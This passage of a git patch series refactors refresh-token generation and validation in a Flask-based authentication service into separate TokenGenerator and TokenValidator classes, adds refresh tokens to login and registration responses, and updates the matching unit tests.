.../authentication_service/token/conftest.py | 15 ++++ .../token/test_token_generator.py | 19 ++++ .../token/test_token_validator.py | 52 +++++++++++ vulture_allowlist.py | 9 +- 16 files changed, 170 insertions(+), 141 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/authentication_service/refresh_token_manager.py create mode 100644 monkey/monkey_island/cc/services/authentication_service/token/__init__.py create mode 100644 monkey/monkey_island/cc/services/authentication_service/token/token_generator.py create mode 100644 monkey/monkey_island/cc/services/authentication_service/token/token_validator.py create mode 100644 monkey/monkey_island/cc/services/authentication_service/token/types.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/__init__.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/__init__.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/__init__.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/conftest.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_generator.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a44fe89ba6a..968f7dbef8d 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -44,8 +44,9 @@ from monkey_island.cc.services.authentication_service.configure_flask_security import ( configure_flask_security, ) -from monkey_island.cc.services.authentication_service.refresh_token_manager import ( - RefreshTokenManager, +from monkey_island.cc.services.authentication_service.token import ( + TokenGenerator, + TokenValidator, ) from monkey_island.cc.services.representations import output_json @@ -164,7 +165,16 @@ def init_app( def _build_authentication_facade(container: DIContainer, security: Security): repository_encryptor = container.resolve(ILockableEncryptor) island_event_queue = container.resolve(IIslandEventQueue) - refresh_token_service = RefreshTokenManager(security) + token_generator = TokenGenerator(security) + refresh_token_expiration = ( + security.app.config["SECURITY_TOKEN_MAX_AGE"] + + security.app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] + ) + refresh_token_validator = TokenValidator(security, refresh_token_expiration) return AuthenticationFacade( - repository_encryptor, island_event_queue, security.datastore, refresh_token_service + repository_encryptor, + island_event_queue, + security.datastore, + token_generator, + refresh_token_validator, ) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 37e0b6d8283..8eef553198e 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -3,8 +3,9 @@ from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor +from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator -from .refresh_token_manager import RefreshToken, RefreshTokenManager +from .token import Token, TokenValidator from .user import User @@ -18,12 +19,14 @@ def __init__( repository_encryptor: ILockableEncryptor, island_event_queue: IIslandEventQueue, user_datastore: UserDatastore, - refresh_token_manager: RefreshTokenManager, + token_generator: TokenGenerator, + refresh_token_validator: TokenValidator, ): self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue self._datastore = user_datastore - self._refresh_token_manager = refresh_token_manager + self._token_generator = token_generator + self._refresh_token_validator = refresh_token_validator def needs_registration(self) -> bool: """ @@ -39,11 +42,11 @@ def revoke_all_tokens_for_user(self, user: User): """ self._datastore.set_uniquifier(user) - def generate_refresh_token(self, user: User) -> RefreshToken: + def generate_refresh_token(self, user: User) -> Token: """ Generates a refresh token for a specific user """ - return self._refresh_token_manager.generate_refresh_token(user.fs_uniquifier) + return self._token_generator.generate_token(user.fs_uniquifier) def revoke_all_tokens_for_all_users(self): """ diff --git a/monkey/monkey_island/cc/services/authentication_service/refresh_token_manager.py b/monkey/monkey_island/cc/services/authentication_service/refresh_token_manager.py deleted file mode 100644 index 1cf572c4a1a..00000000000 --- a/monkey/monkey_island/cc/services/authentication_service/refresh_token_manager.py +++ /dev/null @@ -1,31 +0,0 @@ -from typing import TypeAlias - -from flask_security import Security - -RefreshToken: TypeAlias = str - - -class RefreshTokenManager: - def __init__(self, security: Security): - self._token_serializer = security.remember_token_serializer - self._refresh_token_expiration = ( - security.app.config["SECURITY_TOKEN_MAX_AGE"] - + security.app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] - ) - - def generate_refresh_token(self, payload: str) -> RefreshToken: - """ - Generates a refresh token for a user - :param payload: String that will be encoded in the token - :return: A refresh token - """ - refresh_token = self._token_serializer.dumps(payload) - - return refresh_token - - def validate_refresh_token(self, refresh_token: str): - """ - Validates a refresh token - :param refresh_token: A refresh token to validate - """ - self._token_serializer.loads(refresh_token, max_age=self._refresh_token_expiration) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/__init__.py b/monkey/monkey_island/cc/services/authentication_service/token/__init__.py new file mode 100644 index 00000000000..8643ee049ac --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/token/__init__.py @@ -0,0 +1,3 @@ +from .token_generator import TokenGenerator +from .token_validator import TokenValidator +from .types import Token diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_generator.py b/monkey/monkey_island/cc/services/authentication_service/token/token_generator.py new file mode 100644 index 00000000000..e6b1542eb3b --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_generator.py @@ -0,0 +1,18 @@ +from flask_security import Security + +from .types import Token + + +class TokenGenerator: + def __init__(self, security: Security): + self._token_serializer = security.remember_token_serializer + + def generate_token(self, payload: str) -> Token: + """ + Generates a refresh token for a user + :param payload: String that will be encoded in the token + :return: A refresh token + """ + refresh_token = self._token_serializer.dumps(payload) + + return refresh_token diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py b/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py new file mode 100644 index 00000000000..8af29fd87d6 --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py @@ -0,0 +1,16 @@ +from flask_security import Security + +from .types import Token + + +class TokenValidator: + def __init__(self, security: Security, token_expiration: int): + self._token_serializer = security.remember_token_serializer + self._token_expiration = token_expiration # in seconds + + def validate_token(self, token: Token): + """ + Validates a token + :param token: A token to validate + """ + self._token_serializer.loads(token, max_age=self._token_expiration) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/types.py b/monkey/monkey_island/cc/services/authentication_service/token/types.py new file mode 100644 index 00000000000..04aded763ad --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/token/types.py @@ -0,0 +1,3 @@ +from typing import TypeAlias + +Token: TypeAlias = str diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/services/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index d196e950b7f..76139108bb8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -11,9 +11,7 @@ AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.setup import setup_authentication -from monkey_island.cc.services.authentication_service.refresh_token_manager import ( - RefreshTokenManager, -) +from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenValidator from monkey_island.cc.services.authentication_service.user import User USERNAME = "user1" @@ -32,23 +30,28 @@ @pytest.fixture -def mock_repository_encryptor(autouse=True) -> ILockableEncryptor: +def mock_repository_encryptor() -> ILockableEncryptor: return MagicMock(spec=ILockableEncryptor) @pytest.fixture -def mock_island_event_queue(autouse=True) -> IIslandEventQueue: +def mock_island_event_queue() -> IIslandEventQueue: return MagicMock(spec=IIslandEventQueue) @pytest.fixture -def mock_user_datastore(autouse=True) -> UserDatastore: +def mock_user_datastore() -> UserDatastore: return MagicMock(spec=UserDatastore) @pytest.fixture -def mock_token_service(autouse=True) -> UserDatastore: - return MagicMock(spec=RefreshTokenManager) +def mock_token_generator() -> UserDatastore: + return MagicMock(spec=TokenGenerator) + + +@pytest.fixture +def mock_token_validator() -> UserDatastore: + return MagicMock(spec=TokenValidator) @pytest.fixture @@ -57,9 +60,15 @@ def authentication_facade( mock_repository_encryptor: ILockableEncryptor, mock_island_event_queue: IIslandEventQueue, mock_user_datastore: UserDatastore, + mock_token_generator: TokenGenerator, + mock_token_validator: TokenValidator, ) -> AuthenticationFacade: return AuthenticationFacade( - mock_repository_encryptor, mock_island_event_queue, mock_user_datastore, mock_token_service + mock_repository_encryptor, + mock_island_event_queue, + mock_user_datastore, + mock_token_generator, + mock_token_validator, ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py deleted file mode 100644 index e66622aea9a..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py +++ /dev/null @@ -1,87 +0,0 @@ -from typing import Tuple - -import pytest -from flask import Flask -from flask_restful import Api -from flask_security import Security -from itsdangerous import BadData, SignatureExpired -from tests.unit_tests.monkey_island.conftest import init_mock_app, init_mock_datastore - -from monkey_island.cc.services.authentication_service import AccountRole -from monkey_island.cc.services.authentication_service.refresh_token_manager import ( - RefreshToken, - RefreshTokenManager, -) - -USER_EMAIL = "unittest@me.com" - - -def build_app(auth_token_expiration, refresh_token_expiration) -> Tuple[Flask, Api]: - app, api = init_mock_app() - app.config["SECURITY_TOKEN_MAX_AGE"] = auth_token_expiration - app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] = refresh_token_expiration - user_datastore = init_mock_datastore() - - island_role = user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) - app.security = Security(app, user_datastore) - ds = app.security.datastore - with app.app_context(): - ds.create_user(email=USER_EMAIL, username="test", password="password", roles=[island_role]) - ds.commit() - - return app, api - - -def generate_refresh_token( - freezer, - generation_time: str, - payload: str, - access_token_expiration=1 * 60, - refresh_token_expiration=1 * 60, -) -> Tuple[RefreshToken, RefreshTokenManager]: - app, _ = build_app(access_token_expiration, refresh_token_expiration) - token_service = RefreshTokenManager(app.security) - freezer.move_to(generation_time) - refresh_token = token_service.generate_refresh_token(payload) - return refresh_token, token_service - - -def test_generate_refresh_token(freezer): - access_token_expiration = refresh_token_delta = 1 * 60 # 1 minute - generation_time = "2020-01-01 00:00:00" - refresh_attempt_time = "2020-01-01 00:01:30" - payload = "fake_user_id" - # Since time and payload are static the token is static - expected_token = "ImZha2VfdXNlcl9pZCI.XgvhAA.qZjpQeZVPgG29Q6geXhW22mcU_4" - - refresh_token, token_manager = generate_refresh_token( - freezer, generation_time, payload, access_token_expiration, refresh_token_delta - ) - freezer.move_to(refresh_attempt_time) - - token_manager.validate_refresh_token(refresh_token) - assert refresh_token == expected_token - - -def test_validate_refresh_token__expired(freezer): - access_token_expiration = refresh_token_delta = 1 * 60 # 1 minute - generation_time = "2020-01-01 00:00:00" - refresh_attempt_time = "2020-01-01 00:03:00" - payload = "fake_user_id" - - refresh_token, token_manager = generate_refresh_token( - freezer, generation_time, payload, access_token_expiration, refresh_token_delta - ) - freezer.move_to(refresh_attempt_time) - - with pytest.raises(SignatureExpired): - token_manager.validate_refresh_token(refresh_token) - - -def test_validate_refresh_token__invalid(freezer): - app, _ = build_app(auth_token_expiration=1 * 60, refresh_token_expiration=1 * 60) - token_manager = RefreshTokenManager(app.security) - invalid_token = "invalid_token" - - with pytest.raises(BadData): - token_manager.validate_refresh_token(invalid_token) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/conftest.py new file mode 100644 index 00000000000..323ed5a7875 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/conftest.py @@ -0,0 +1,15 @@ +from typing import Tuple + +from flask import Flask +from flask_restful import Api +from flask_security import Security +from tests.unit_tests.monkey_island.conftest import init_mock_app, init_mock_datastore + +USER_EMAIL = "unittest@me.com" + + +def build_app() -> Tuple[Flask, Api]: + app, api = init_mock_app() + user_datastore = init_mock_datastore() + app.security = Security(app, user_datastore) + return app, api diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_generator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_generator.py new file mode 100644 index 00000000000..68ae5f9813a --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_generator.py @@ -0,0 +1,19 @@ +from tests.unit_tests.monkey_island.cc.services.authentication_service.token.conftest import ( + build_app, +) + +from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator + + +def test_generate_token(freezer): + generation_time = "2020-01-01 00:00:00" + payload = "fake_user_id" + # Since time and payload are static the token is static + expected_token = "ImZha2VfdXNlcl9pZCI.XgvhAA.qZjpQeZVPgG29Q6geXhW22mcU_4" + + app, _ = build_app() + token_generator = TokenGenerator(app.security) + freezer.move_to(generation_time) + token = token_generator.generate_token(payload) + + assert token == expected_token diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py new file mode 100644 index 00000000000..10de8e4b728 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py @@ -0,0 +1,52 @@ +import pytest +from itsdangerous import BadData, SignatureExpired +from tests.unit_tests.monkey_island.cc.services.authentication_service.token.conftest import ( + build_app, +) + +from monkey_island.cc.services.authentication_service.token import TokenValidator +from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator + + +def test_validate_token__valid(freezer): + token_expiration_timedelta = 1 * 60 # 1 minute + generation_time = "2020-01-01 00:00:00" + validation_time = "2020-01-01 00:00:30" + payload = "fake_user_id" + + app, _ = build_app() + token_generator = TokenGenerator(app.security) + freezer.move_to(generation_time) + token = token_generator.generate_token(payload) + token_validator = TokenValidator(app.security, token_expiration_timedelta) + freezer.move_to(validation_time) + + token_validator.validate_token(token) + + +def test_validate_refresh_token__expired(freezer): + token_expiration = 1 * 60 # 1 minute + generation_time = "2020-01-01 00:00:00" + validation_time = "2020-01-01 00:03:30" + payload = "fake_user_id" + + app, _ = build_app() + token_generator = TokenGenerator(app.security) + freezer.move_to(generation_time) + token = token_generator.generate_token(payload) + token_validator = TokenValidator(app.security, token_expiration) + freezer.move_to(validation_time) + + with pytest.raises(SignatureExpired): + token_validator.validate_token(token) + + +def test_validate_refresh_token__invalid(freezer): + token_expiration = 1 * 60 # 1 minute + invalid_token = "invalid_token" + + app, _ = build_app() + token_validator = TokenValidator(app.security, token_expiration) + + with pytest.raises(BadData): + token_validator.validate_token(invalid_token) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 2f11d2d6bf1..4826983a1a3 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -17,11 +17,9 @@ from infection_monkey.island_api_client import http_island_api_client from infection_monkey.transport.http import FileServHTTPRequestHandler from monkey_island.cc.deployment import Deployment -from monkey_island.cc.models import Agent, IslandMode, Machine +from monkey_island.cc.models import IslandMode, Machine from monkey_island.cc.repositories import IAgentEventRepository, MongoAgentEventRepository -from monkey_island.cc.services.authentication_service.refresh_token_manager import ( - RefreshTokenManager, -) +from monkey_island.cc.services.authentication_service.token import TokenValidator from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation @@ -149,4 +147,5 @@ AGENT_OTP_ENVIRONMENT_VARIABLE # Remove after #3137 -RefreshTokenManager.validate_refresh_token +TokenValidator.validate_token +_refresh_token_validator From d64885a1d5571f307493757d7e9dc3547d5ba935 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 30 Mar 2023 16:17:03 +0000 Subject: [PATCH 0982/1338] Island: Document errors for TokenValidator.validate_token --- .../cc/services/authentication_service/token/token_validator.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py b/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py index 8af29fd87d6..86fa1944402 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py @@ -12,5 +12,7 @@ def validate_token(self, token: Token): """ Validates a token :param token: A token to validate + :raises BadSignature: If the token is invalid + :raises SignatureExpired: If the token has expired """ self._token_serializer.loads(token, max_age=self._token_expiration) From a2ca93ee581626fb478e7086878f839f9690f7dc Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 30 Mar 2023 16:06:19 +0300 Subject: [PATCH 0983/1338] Island: Include refresh token into responses Login and registration should respond with a token pair --- .../flask_resources/login.py | 11 +++++++---- .../flask_resources/register.py | 11 +++++++---- .../flask_resources/utils.py | 16 +++++++++++++++- 3 files changed, 29 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index 300de4e3119..3d5404e5e8e 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -9,7 +9,11 @@ from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade -from .utils import get_username_password_from_request, include_auth_token +from .utils import ( + add_refresh_token_to_response, + get_username_password_from_request, + include_auth_token, +) logger = logging.getLogger(__name__) @@ -38,9 +42,8 @@ def post(self): try: username, password = get_username_password_from_request(request) response: ResponseValue = login() - # TODO send these back - _tokens = self._authentication_facade.generate_refresh_token(current_user) - del _tokens + refresh_token = self._authentication_facade.generate_refresh_token(current_user) + response = add_refresh_token_to_response(response, refresh_token) except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index dd82c182719..bd91935b0a0 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -9,7 +9,11 @@ from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade -from .utils import get_username_password_from_request, include_auth_token +from .utils import ( + add_refresh_token_to_response, + get_username_password_from_request, + include_auth_token, +) logger = logging.getLogger(__name__) @@ -37,9 +41,8 @@ def post(self): }, HTTPStatus.CONFLICT username, password = get_username_password_from_request(request) response: ResponseValue = register() - # TODO send these back - _tokens = self._authentication_facade.generate_refresh_token(current_user) - del _tokens + refresh_token = self._authentication_facade.generate_refresh_token(current_user) + response = add_refresh_token_to_response(response, refresh_token) except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py index a0bb17228a1..f8d1a3a74fc 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py @@ -1,10 +1,13 @@ import json +from copy import deepcopy from functools import wraps from typing import Tuple -from flask import Request, request +from flask import Request, Response, request from werkzeug.datastructures import ImmutableMultiDict +from monkey_island.cc.services.authentication_service.token import Token + def get_username_password_from_request(_request: Request) -> Tuple[str, str]: """ @@ -35,3 +38,14 @@ def decorated_function(*args, **kwargs): return func(*args, **kwargs) return decorated_function + + +def add_refresh_token_to_response(response: Response, refresh_token: Token) -> Response: + """ + Adds a refresh token to the response + :param response: A Flask Response object + """ + new_data = deepcopy(response.json) + new_data["response"]["user"]["refresh_token"] = refresh_token + response.data = json.dumps(new_data).encode() + return response From 7a37d435fd8891141192ed2392e905a50801a3d4 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 30 Mar 2023 17:37:41 +0000 Subject: [PATCH 0984/1338] UT: Update auth tests to use refresh tokens --- .../authentication_service/conftest.py | 2 ++ .../flask_resources/test_login.py | 29 +++++++------------ .../flask_resources/test_register.py | 20 ++++++------- 3 files changed, 23 insertions(+), 28 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index 26487f4ff21..91cc64170dd 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -19,6 +19,8 @@ @pytest.fixture def mock_authentication_facade(): mock_service = MagicMock(spec=AuthenticationFacade) + mock_service.generate_refresh_token = MagicMock() + mock_service.generate_refresh_token.return_value = "refresh_token" return mock_service diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py index 602e71669cf..5cf31dcb6f2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py @@ -13,6 +13,14 @@ PASSWORD = "test_password" TEST_REQUEST = f'{{"username": "{USERNAME}", "password": "{PASSWORD}"}}' FLASK_LOGIN_IMPORT = "monkey_island.cc.services.authentication_service.flask_resources.login.login" +LOGIN_RESPONSE_DATA = ( + b'{"response": {"user": {"authentication_token": "abcdefg"}, "csrf_token": "hijklmnop"}}' +) +LOGIN_RESPONSE = Response( + response=LOGIN_RESPONSE_DATA, + status=HTTPStatus.OK, + mimetype="application/json", +) @pytest.fixture @@ -28,12 +36,7 @@ def inner(request_body): def test_credential_parsing( monkeypatch, make_login_request, mock_authentication_facade: AuthenticationFacade ): - monkeypatch.setattr( - FLASK_LOGIN_IMPORT, - lambda: Response( - status=HTTPStatus.OK, - ), - ) + monkeypatch.setattr(FLASK_LOGIN_IMPORT, lambda: LOGIN_RESPONSE) make_login_request(TEST_REQUEST) mock_authentication_facade.handle_successful_login.assert_called_with(USERNAME, PASSWORD) @@ -45,12 +48,7 @@ def test_empty_credentials(make_login_request, mock_authentication_facade: Authe def test_login_successful(make_login_request, monkeypatch): - monkeypatch.setattr( - FLASK_LOGIN_IMPORT, - lambda: Response( - status=HTTPStatus.OK, - ), - ) + monkeypatch.setattr(FLASK_LOGIN_IMPORT, lambda: LOGIN_RESPONSE) response = make_login_request(TEST_REQUEST) @@ -104,12 +102,7 @@ def test_login_invalid_request( def test_login_error( monkeypatch, make_login_request, mock_authentication_facade: AuthenticationFacade ): - monkeypatch.setattr( - FLASK_LOGIN_IMPORT, - lambda: Response( - status=HTTPStatus.OK, - ), - ) + monkeypatch.setattr(FLASK_LOGIN_IMPORT, lambda: LOGIN_RESPONSE) mock_authentication_facade.handle_successful_login = MagicMock(side_effect=Exception()) response = make_login_request(TEST_REQUEST) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py index b90f67ac216..f0434b0bac3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py @@ -15,6 +15,14 @@ FLASK_REGISTER_IMPORT = ( "monkey_island.cc.services.authentication_service.flask_resources.register.register" ) +REGISTER_RESPONSE_DATA = ( + b'{"response": {"user": {"authentication_token": "abcdefg"}, "csrf_token": "hijklmnop"}}' +) +REGISTER_RESPONSE = Response( + response=REGISTER_RESPONSE_DATA, + status=HTTPStatus.OK, + mimetype="application/json", +) @pytest.fixture @@ -50,12 +58,7 @@ def test_register__already_registered( def test_register_successful( monkeypatch, make_registration_request, mock_authentication_facade: AuthenticationFacade ): - monkeypatch.setattr( - FLASK_REGISTER_IMPORT, - lambda: Response( - status=HTTPStatus.OK, - ), - ) + monkeypatch.setattr(FLASK_REGISTER_IMPORT, lambda: REGISTER_RESPONSE) response = make_registration_request(TEST_REQUEST) @@ -94,10 +97,7 @@ def test_register_invalid_request( def test_register_error( monkeypatch, make_registration_request, mock_authentication_facade: AuthenticationFacade ): - monkeypatch.setattr( - FLASK_REGISTER_IMPORT, - lambda: Response(status=HTTPStatus.OK), - ) + monkeypatch.setattr(FLASK_REGISTER_IMPORT, lambda: REGISTER_RESPONSE) mock_authentication_facade.handle_successful_registration = MagicMock(side_effect=Exception()) From 04fecff37a6467fb11b750637c6aa10aa92000de Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 30 Mar 2023 18:00:18 +0000 Subject: [PATCH 0985/1338] UT: Test that endpoints send refresh token --- .../cc/services/authentication_service/conftest.py | 4 +++- .../authentication_service/flask_resources/test_login.py | 2 ++ .../authentication_service/flask_resources/test_register.py | 2 ++ 3 files changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index 91cc64170dd..eeee4f52ab3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -15,12 +15,14 @@ RegistrationStatus, ) +REFRESH_TOKEN = "refresh_token" + @pytest.fixture def mock_authentication_facade(): mock_service = MagicMock(spec=AuthenticationFacade) mock_service.generate_refresh_token = MagicMock() - mock_service.generate_refresh_token.return_value = "refresh_token" + mock_service.generate_refresh_token.return_value = REFRESH_TOKEN return mock_service diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py index 5cf31dcb6f2..0b194b17cb3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py @@ -3,6 +3,7 @@ import pytest from flask import Response +from tests.unit_tests.monkey_island.cc.services.authentication_service.conftest import REFRESH_TOKEN from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, @@ -53,6 +54,7 @@ def test_login_successful(make_login_request, monkeypatch): response = make_login_request(TEST_REQUEST) assert response.status_code == HTTPStatus.OK + assert response.json["response"]["user"]["refresh_token"] == REFRESH_TOKEN def test_login_failure( diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py index f0434b0bac3..e3330e02f3b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py @@ -3,6 +3,7 @@ import pytest from flask import Response +from tests.unit_tests.monkey_island.cc.services.authentication_service.conftest import REFRESH_TOKEN from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, @@ -63,6 +64,7 @@ def test_register_successful( response = make_registration_request(TEST_REQUEST) assert response.status_code == HTTPStatus.OK + assert response.json["response"]["user"]["refresh_token"] == REFRESH_TOKEN mock_authentication_facade.handle_successful_registration.assert_called_with(USERNAME, PASSWORD) From e759018941e31816e450faa0798efec5f3599c76 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 30 Mar 2023 18:05:41 +0000 Subject: [PATCH 0986/1338] Island: Update docstring of add_refresh_token_to_response --- .../services/authentication_service/flask_resources/utils.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py index f8d1a3a74fc..fc484553e45 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py @@ -42,8 +42,11 @@ def decorated_function(*args, **kwargs): def add_refresh_token_to_response(response: Response, refresh_token: Token) -> Response: """ - Adds a refresh token to the response + Returns a copy of the response object with the refresh token added to it + :param response: A Flask Response object + :param refresh_token: Refresh token to add to the response + :return: A Flask Response object """ new_data = deepcopy(response.json) new_data["response"]["user"]["refresh_token"] = refresh_token From 7b6872845debc0820671bc511a9eec3b065dcf5d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 30 Mar 2023 20:31:29 +0000 Subject: [PATCH 0987/1338] Island: Fix imports in app.py --- monkey/monkey_island/cc/app.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 968f7dbef8d..2f68f7aae75 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -44,10 +44,7 @@ from monkey_island.cc.services.authentication_service.configure_flask_security import ( configure_flask_security, ) -from 